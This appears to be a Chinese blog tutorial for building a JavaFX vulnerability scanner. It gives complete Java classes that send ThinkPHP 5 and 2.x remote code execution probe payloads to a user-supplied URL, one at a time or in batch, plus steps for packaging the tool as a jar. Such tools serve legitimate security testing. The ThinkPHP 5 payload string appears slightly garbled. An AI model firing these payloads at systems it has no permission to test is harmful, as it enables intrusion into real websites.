目录
一,JAVAFX-GUI单个漏洞检测编写
1.1 绑定事件
1.2 Thinkphp5_Rce编写
1.3 编写利用类
1.4 Thinkphp2x_Rce编写
1.5 单个漏洞检测GUI工具完整代码
二,JAVAFX-GUI单个漏洞批量检测编写
2.1 编写利用反射类
2.2 批量检测漏洞完整GUI工具代码
三,JAVAFX-GUI打包为jar包
3.1.第一步打包jar
3.2.工件处
3.3 主类选择如图所示
3.4 本机使用配置
3.5 便捷使用创建bat文件
一,JAVAFX-GUI单个漏洞检测编写
1.1 绑定事件
布局上有两个按钮 分别的功能是 单个模块检测和多个模块检测。
单个模块检测
首选介绍单个模块检测
单个模块的检测是 按钮检测的时 获取选择框的值 调用对应的对应的模块进行检测。-先择框选择的时候 绑定事件
需要---绑定下拉框和----按钮事件,获取----输入框的url信息和---返回响应结果设置到文本域框中
1.2 Thinkphp5_Rce编写
java">// 没有选择过的话,会出现null,因此设置初始值
final String[] tmp = {"Thinkphp5_Rce"};
//绑定事件
// 下拉框选择事件 设置类型为字符串类型,因为上面选择框内选择的为字符类型
choiceBox.getSelectionModel().selectedItemProperty().addListener(new ChangeListener<String>() {
@Override
public void changed(ObservableValue observableValue, String oldValue, String newValue) {
//存储选择的值,在类里面创建另一个无法获取,因此在外面创建
tmp[0] = newValue;
}
});
//按钮点击事件
BtnCheck.setOnAction(e->{
//为了避免直接打印的卡顿,通过调用进程来实现
new Thread(new Runnable() {
@Override
public void run() {
// System.out.println("点击");
// System.out.println(tmp[0]);
String url = textField.getText();
if (tmp[0].equalsIgnoreCase("Thinkphp5_Rce")){
Thinkphp5_Rce thinkphp5Rce = new Thinkphp5_Rce(url);
String res = thinkphp5Rce.exploit();
// System.out.println(res);
// 将响应信息设置到文本域框中
textArea.setText(res);
}
}
}).start();
});
1.3 编写利用类
java">package com.exp.exploit;
import com.github.kevinsawicki.http.HttpRequest;
public class Thinkphp5_Rce {
private String url;
public Thinkphp5_Rce() {
}
public Thinkphp5_Rce(String url) {
this.url = url;
}
public String exploit(){
String payload = "/?s=index/thinklapp/invokefunction&function=call user func_array&vars[0]=md5&vars[1][=1";
try{
HttpRequest request = HttpRequest.get(this.url + payload, true);
String content = request.body();
if (content.contains("c4ca4238a0b923820dcc509a6f75849b")){
return this.url + "存在Thinkphp5_Rce漏洞:\n 漏洞检测代码:" + payload;
}else{
return "Thinkphp5_Rce漏洞 不存在";
}
} catch (Exception e) {
e.printStackTrace();
return "访问异常";
}
}
}
1.4 Thinkphp2x_Rce编写
java">package com.exp.exploit;
import com.github.kevinsawicki.http.HttpRequest;
public class Thinkphp2x_Rce {
private String url;
public Thinkphp2x_Rce() {
}
public Thinkphp2x_Rce(String url) {
this.url = url;
}
public String exploit(){
String payload = "/?s=/E/D/I/${@phpinfo()}";
try{
HttpRequest request = HttpRequest.get(this.url + payload, true);
String content = request.body();
if (content.contains("phpinfo")){
return this.url + " " + "存在Thinkphp2x_Rce漏洞:\n 漏洞检测代码:" + " " + this.url + payload;
}else{
return "Thinkphp2x_Rce漏洞 不存在";
}
} catch (Exception e) {
e.printStackTrace();
return "访问异常";
}
}
}
1.5 单个漏洞检测GUI工具完整代码
java">package com.exp;
import com.exp.exploit.Thinkphp2x_Rce;
import com.exp.exploit.Thinkphp5_Rce;
import javafx.application.Application;
import javafx.beans.value.ChangeListener;
import javafx.beans.value.ObservableValue;
import javafx.collections.FXCollections;
import javafx.scene.Scene;
import javafx.scene.control.*;
import javafx.scene.layout.AnchorPane;
import javafx.stage.Stage;
public class JavaFxMain extends Application {
public static void main(String[] args) {
//默认有的方法
launch();
}
@Override
public void start(Stage stage) throws Exception {
//设置舞台的标题
stage.setTitle("漏洞检测工具");
//禁止放大,无法点击最大化按钮
stage.setResizable(false);
//布局控件
AnchorPane anchorPane = new AnchorPane();
//设置控件
Label UrlLabel = new Label("网址:");
Label MsgLabel = new Label("信息:");
//文本框
TextField textField = new TextField();
//设置文本框的默认值setText 设置提示setPromptText
textField.setPromptText("请输入网址:");
//设置下拉框
String []pocs = {"Thinkphp5_Rce","Thinkphp2x_Rce",};
ChoiceBox choiceBox = new ChoiceBox(FXCollections.observableArrayList(pocs));
//设置默认值
choiceBox.setValue("Thinkphp5_Rce");
//设置按钮
Button BtnCheck = new Button("单个检测");
Button BtnBatch = new Button("批量检测");
//设置文本域
TextArea textArea = new TextArea();
textArea.setPromptText("返回结果信息........");
//设置下拉属性
textArea.setWrapText(true);
textArea.setPrefHeight(300);
//设置控件的位置
//设置网址标签的位置
UrlLabel.setLayoutX(20);
UrlLabel.setLayoutY(13);
//设置信息标签的位置
MsgLabel.setLayoutX(20);
MsgLabel.setLayoutY(50);
//设置文本框位置
textField.setLayoutX(70);
textField.setLayoutY(10);
//设置文本框的宽度
textField.setPrefWidth(260);
//选择框
choiceBox.setLayoutX(340);
choiceBox.setLayoutY(10);
//设置button1的位置
BtnCheck.setLayoutX(480);
BtnCheck.setLayoutY(10);
//设置button2的位置
BtnBatch.setLayoutX(550);
BtnBatch.setLayoutY(10);
//设置文本域的位置
textArea.setLayoutX(70);
textArea.setLayoutY(50);
//add 是单个控件 addAll 是多个控件
anchorPane.getChildren().addAll(UrlLabel,MsgLabel,textField,choiceBox,BtnCheck,BtnBatch,textArea);
//设置场景 以及场景的大小
Scene scene = new Scene(anchorPane, 700, 400);
stage.setScene(scene);
stage.show();
// 没有选择过的话,会出现null,因此设置初始值
final String[] tmp = {"Thinkphp5_Rce"};
//绑定事件
// 下拉框选择事件 设置类型为字符串类型,因为上面选择框内选择的为字符类型
choiceBox.getSelectionModel().selectedItemProperty().addListener(new ChangeListener<String>() {
@Override
public void changed(ObservableValue observableValue, String oldValue, String newValue) {
//存储选择的值,在类里面创建另一个无法获取,因此在外面创建
tmp[0] = newValue;
}
});
//按钮点击事件
BtnCheck.setOnAction(e->{
//为了避免直接打印的卡顿,通过调用进程来实现
new Thread(new Runnable() {
@Override
public void run() {
// System.out.println("点击");
// System.out.println(tmp[0]);
String url = textField.getText();
if (tmp[0].equalsIgnoreCase("Thinkphp5_Rce")){
Thinkphp5_Rce thinkphp5Rce = new Thinkphp5_Rce(url);
//调用exp方法
String res = thinkphp5Rce.exploit();
//System.out.println(res);
// 将响应信息设置到文本域框中
textArea.setText(res);
} else if (tmp[0].equalsIgnoreCase("Thinkphp2x_Rce")) {
Thinkphp2x_Rce thinkphp2xRce = new Thinkphp2x_Rce(url);
String res = thinkphp2xRce.exploit();
textArea.setText(res);
}
}
}).start();
});
}
}
二,JAVAFX-GUI单个漏洞批量检测编写
获取下拉框中的所有值,通过值,通过反射获取对应的exp类,通过反射设置url的值,通过值来进行调用,注意,下拉框的值要与类名一致.
2.1 编写利用反射类
java">//批量检测
//按钮点击事件
BtnBatch.setOnAction(e->{
//为了避免直接打印的卡顿,通过调用进程来实现
new Thread(new Runnable() {
@Override
public void run() {
String url = textField.getText();
ObservableList<String> AllItems = choiceBox.getItems();
for (String item : AllItems) {
try {
//获取反射的类,这里需要注意这个com.exp.exploit后面的. 号
Class clazz = Class.forName("com.exp.exploit." + item);
// 反射的类含有无参构造
Object o = clazz.newInstance();
//修改反射的类的url
Field fieldUrl = clazz.getDeclaredField("url");
//设置权限
fieldUrl.setAccessible(true);
fieldUrl.set(o, url);
Method methodExploit = clazz.getMethod("exploit");
String res = (String) methodExploit.invoke(o);
//先获取文本域中的内容,然后追加到文本域中(直接设置会出现覆盖情况)
String text = textArea.getText().trim();
textArea.setText(text + "\n" + res);
} catch (ClassNotFoundException ex) {
throw new RuntimeException(ex);
} catch (InstantiationException ex) {
throw new RuntimeException(ex);
} catch (IllegalAccessException ex) {
throw new RuntimeException(ex);
} catch (NoSuchFieldException ex) {
throw new RuntimeException(ex);
} catch (NoSuchMethodException ex) {
throw new RuntimeException(ex);
} catch (InvocationTargetException ex) {
throw new RuntimeException(ex);
}
}
}
}).start();
});
2.2 批量检测漏洞完整GUI工具代码
java">package com.exp;
import com.exp.exploit.Thinkphp2x_Rce;
import com.exp.exploit.Thinkphp5_Rce;
import javafx.application.Application;
import javafx.beans.value.ChangeListener;
import javafx.beans.value.ObservableValue;
import javafx.collections.FXCollections;
import javafx.collections.ObservableList;
import javafx.scene.Scene;
import javafx.scene.control.*;
import javafx.scene.layout.AnchorPane;
import javafx.stage.Stage;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class JavaFxMain extends Application {
public static void main(String[] args) {
//默认有的方法
launch();
}
@Override
public void start(Stage stage) throws Exception {
//设置舞台的标题
stage.setTitle("漏洞检测工具");
//禁止放大,无法点击最大化按钮
stage.setResizable(false);
//布局控件
AnchorPane anchorPane = new AnchorPane();
//设置控件
Label UrlLabel = new Label("网址:");
Label MsgLabel = new Label("信息:");
//文本框
TextField textField = new TextField();
//设置文本框的默认值setText 设置提示setPromptText
textField.setPromptText("请输入网址:");
//设置下拉框
String []pocs = {"Thinkphp5_Rce","Thinkphp2x_Rce",};
ChoiceBox choiceBox = new ChoiceBox(FXCollections.observableArrayList(pocs));
//设置默认值
choiceBox.setValue("Thinkphp5_Rce");
//设置按钮
Button BtnCheck = new Button("单个检测");
Button BtnBatch = new Button("批量检测");
//设置文本域
TextArea textArea = new TextArea();
textArea.setPromptText("返回结果信息........");
//设置下拉属性
textArea.setWrapText(true);
textArea.setPrefHeight(300);
//设置控件的位置
//设置网址标签的位置
UrlLabel.setLayoutX(20);
UrlLabel.setLayoutY(13);
//设置信息标签的位置
MsgLabel.setLayoutX(20);
MsgLabel.setLayoutY(50);
//设置文本框位置
textField.setLayoutX(70);
textField.setLayoutY(10);
//设置文本框的宽度
textField.setPrefWidth(260);
//选择框
choiceBox.setLayoutX(340);
choiceBox.setLayoutY(10);
//设置button1的位置
BtnCheck.setLayoutX(480);
BtnCheck.setLayoutY(10);
//设置button2的位置
BtnBatch.setLayoutX(550);
BtnBatch.setLayoutY(10);
//设置文本域的位置
textArea.setLayoutX(70);
textArea.setLayoutY(50);
//add 是单个控件 addAll 是多个控件
anchorPane.getChildren().addAll(UrlLabel,MsgLabel,textField,choiceBox,BtnCheck,BtnBatch,textArea);
//设置场景 以及场景的大小
Scene scene = new Scene(anchorPane, 650, 400);
stage.setScene(scene);
stage.show();
// 没有选择过的话,会出现null,因此设置初始值
final String[] tmp = {"Thinkphp5_Rce"};
//绑定事件
// 下拉框选择事件 设置类型为字符串类型,因为上面选择框内选择的为字符类型
choiceBox.getSelectionModel().selectedItemProperty().addListener(new ChangeListener<String>() {
@Override
public void changed(ObservableValue observableValue, String oldValue, String newValue) {
//存储选择的值,在类里面创建另一个无法获取,因此在外面创建
tmp[0] = newValue;
}
});
//按钮点击事件
BtnCheck.setOnAction(e->{
//为了避免直接打印的卡顿,通过调用进程来实现
new Thread(new Runnable() {
@Override
public void run() {
String url = textField.getText();
if (tmp[0].equalsIgnoreCase("Thinkphp5_Rce")){
Thinkphp5_Rce thinkphp5Rce = new Thinkphp5_Rce(url);
//调用exp方法
String res = thinkphp5Rce.exploit();
//System.out.println(res);
// 将响应信息设置到文本域框中
textArea.setText(res);
} else if (tmp[0].equalsIgnoreCase("Thinkphp2x_Rce")) {
Thinkphp2x_Rce thinkphp2xRce = new Thinkphp2x_Rce(url);
String res = thinkphp2xRce.exploit();
textArea.setText(res);
}
}
}).start();
});
//批量检测
//按钮点击事件
BtnBatch.setOnAction(e->{
//为了避免直接打印的卡顿,通过调用进程来实现
new Thread(new Runnable() {
@Override
public void run() {
String url = textField.getText();
ObservableList<String> AllItems = choiceBox.getItems();
for (String item : AllItems) {
try {
//获取反射的类,这里需要注意这个com.exp.exploit后面的. 号
Class clazz = Class.forName("com.exp.exploit." + item);
// 反射的类含有无参构造
Object o = clazz.newInstance();
//修改反射的类的url
Field fieldUrl = clazz.getDeclaredField("url");
//设置权限
fieldUrl.setAccessible(true);
fieldUrl.set(o, url);
Method methodExploit = clazz.getMethod("exploit");
String res = (String) methodExploit.invoke(o);
//先获取文本域中的内容,然后追加到文本域中(直接设置会出现覆盖情况)
String text = textArea.getText().trim();
textArea.setText(text + "\n" + res);
// System.out.println(res);
} catch (ClassNotFoundException ex) {
throw new RuntimeException(ex);
} catch (InstantiationException ex) {
throw new RuntimeException(ex);
} catch (IllegalAccessException ex) {
throw new RuntimeException(ex);
} catch (NoSuchFieldException ex) {
throw new RuntimeException(ex);
} catch (NoSuchMethodException ex) {
throw new RuntimeException(ex);
} catch (InvocationTargetException ex) {
throw new RuntimeException(ex);
}
}
}
}).start();
});
}
}
三,JAVAFX-GUI打包为jar包
3.1.第一步打包jar
在设置处打开项目结构
3.2.工件处
3.3 主类选择如图所示
如图所示的路径不要错,也不要改,不然会出现问题
点击确定完成后
选择应用-→点击确定,然后再IDEA的最上面选择构建工件
选择构建
输出的工件如图所示:在out中,然后就可以拿来使用了
3.4 本机使用配置
此时将构建好的jar包,复制到桌面发现打不开,或者出现打开后文件大小存在错误,这是因为构建工件时,使用的还是系统内置的环境,需要做下面的配置,注意其中-path后的路径替换为自己本机的包的目录,下面同理
java -jar --module-path "D:\javafx-sdk-17.0.13\lib" --add-modules javafx.controls,javafx.fxml C:\Users\86199\Desktop\javaFxTools.jar
C:\Users\86199\.jdks\corretto-17.0.10\bin\java -jar --module-path "D:\javafx-sdk-17.0.13\lib" --add-modules javafx.controls,javafx.fxml C:\Users\86199\Desktop\javaFxTools.jar
使用时需要在17.0.10 bin环境下使用
java -version
然后就会打开如下的工具界面
3.5 便捷使用创建bat文件
C:\Users\86199\.jdks\corretto-17.0.10\bin\java -jar --module-path "D:\javafx-sdk-17.0.13\lib" --add-modules javafx.controls,javafx.fxml C:\Users\86199\Desktop\javaFxTools.jar
前面是jdk17的bin环境路径 使用的时候只要双击bat文件即可
测试能不能正常使用,发现可以正常使用